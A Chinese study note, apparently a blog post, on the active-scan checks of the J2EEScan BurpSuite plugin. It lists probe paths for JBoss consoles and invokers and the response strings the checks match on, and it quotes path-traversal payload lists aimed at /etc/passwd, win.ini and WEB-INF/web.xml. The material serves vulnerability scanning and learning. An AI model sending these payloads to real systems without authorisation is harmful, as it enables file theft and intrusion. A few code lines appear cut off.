插件开发学习第9套。前置文章:
【BurpSuite】插件开发学习之Log4shell
【BurpSuite】插件开发学习之Software Vulnerability Scanner
【BurpSuite】插件开发学习之dotnet-Beautifier
【BurpSuite】插件开发学习之active-scan-plus-plus
【BurpSuite】插件开发学习之J2EEScan(上)-被动扫描
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(1-10)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(21-30)
继续上一章的分析
JBoss jBPM Admin Console
请求path
private static final List<String> JBOSS_jBPM_PATHS = Arrays.asList(
"/jbpm-console/app/tasks.jsf"
);
match
private static final List<byte[]> GREP_STRINGS = Arrays.asList(
"JBoss jBPM Administration Console ".getBytes()
);

漏洞path
private static final List<String> JBOSS_INVOKER_PATHS = Arrays.asList(
"/invoker/EJBInvokerServlet",
"/invoker/JMXInvokerServlet"
);
match
private static final byte[] GREP_STRING = "org.jboss.invocation.MarshalledValue".getBytes();
是个反序列化,判定的是能不能下载

路径
private static final List<String> JBOSS_INVOKER_PATHS = Arrays.asList(
"/invoker/readonly"
);
匹配
private static final byte[] GREP_STRING = "org.jboss.invocation.http.servlet.ReadOnlyAccessFilter".getBytes();
这是个命令执行

路径
private static final List<String> JBOSS_WS = Arrays.asList(
"/juddi/"
);
match
private static final byte[] GREP_STRING = ">JBoss JUDDI".getBytes();
只能说明 JBoss Juddi console 控制台泄露,不能证明有漏洞
路径
private static final List<String> JBOSS_ADMIN_PATHS = Arrays.asList(
"/web-console/",
"/jmx-console/"
);
match
private static final byte[] GREP_STRING_JMX = "HtmlAdaptor?action=displayMBeans".getBytes();
private static final byte[] GREP_STRING_WEB = "ServerInfo.jsp\"".getBytes();
一个是web路径 一个jmx路径
这种如果管理员没有配置账号密码,则存在未授权,因为是管理WEB的,所以直接RCE。

路径
private static final List<String> JBOSS_WS = Arrays.asList(
"/jbossws/services"
);
match
private static final Pattern JBOSSWS_RE = Pattern.compile("JBossWS/Services这个会暴露所有的web服务,也属于控制台泄露,信息收集。
private static final byte[] INJ_TEST = {(byte) 0};
发送一个byte
match
private static final byte[] GREP_STRING = "400 Illegal character 0x0 in state".getBytes();
Jetty web server 远程共享缓冲区信息泄漏漏洞

原理大概是错误信息把缓冲区的东西带出来了。
路径
private static final List<String> JK_ENDPOINTS = Arrays.asList(
"/jk-status",
"/jkstatus-auth",
"/jkstatus",
"/jkmanager",
"/jkmanager-auth",
"/jdkstatus"
);
match
private static final byte[] GREP_STRING = "JK Status Manager".getBytes();

未授权访问远程WEB 用户的一些信息
payload
private static final List<byte[]> LFI_INJECTION_TESTS = Arrays.asList(
".../....///.../....///.../....///.../....///.../....///.../....///etc/passwd".getBytes(),
".../...//.../...//.../...//.../...//.../...//.../...//.../...//.../...//etc/passwd".getBytes(),
"../../../../../../../../../../../../../../../../etc/passwd%00.html".getBytes(),
"file:///c:/windows/win.ini".getBytes(),
"file:///etc/passwd".getBytes(),
"file://\\/\\/etc/passwd".getBytes(),
"%2fetc%2fpasswd".getBytes(),
"../../../../../../../../../../../../../../../../windows/win.ini".getBytes(),
"../../../../../../../../../../../../../../../../windows/win.ini%00.html".getBytes()
);
通用型的任意文件读取
payload
private static final List<byte[]> LFI_INJECTION_TESTS = Arrays.asList(
"../../../../WEB-INF/web.xml".getBytes(),
"../../../WEB-INF/web.xml".getBytes(),
"../../WEB-INF/web.xml".getBytes(),
"../WEB-INF/web.xml".getBytes(),
"%c0%ae/WEB-INF/web.xml".getBytes(),
"%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),
"%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),
"%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml".getBytes(),
// Spring Webflow payloads
"../../../WEB-INF/web.xml;x=".getBytes(),
"../../WEB-INF/web.xml;x=".getBytes(),
"../WEB-INF/web.xml;x=".getBytes(),
"WEB-INF/web.xml".getBytes(),
".//WEB-INF/web.xml".getBytes()
);
match
private static final byte[] GREP_STRING = ".getBytes();
这是读web目录,通用型的任意文件读取。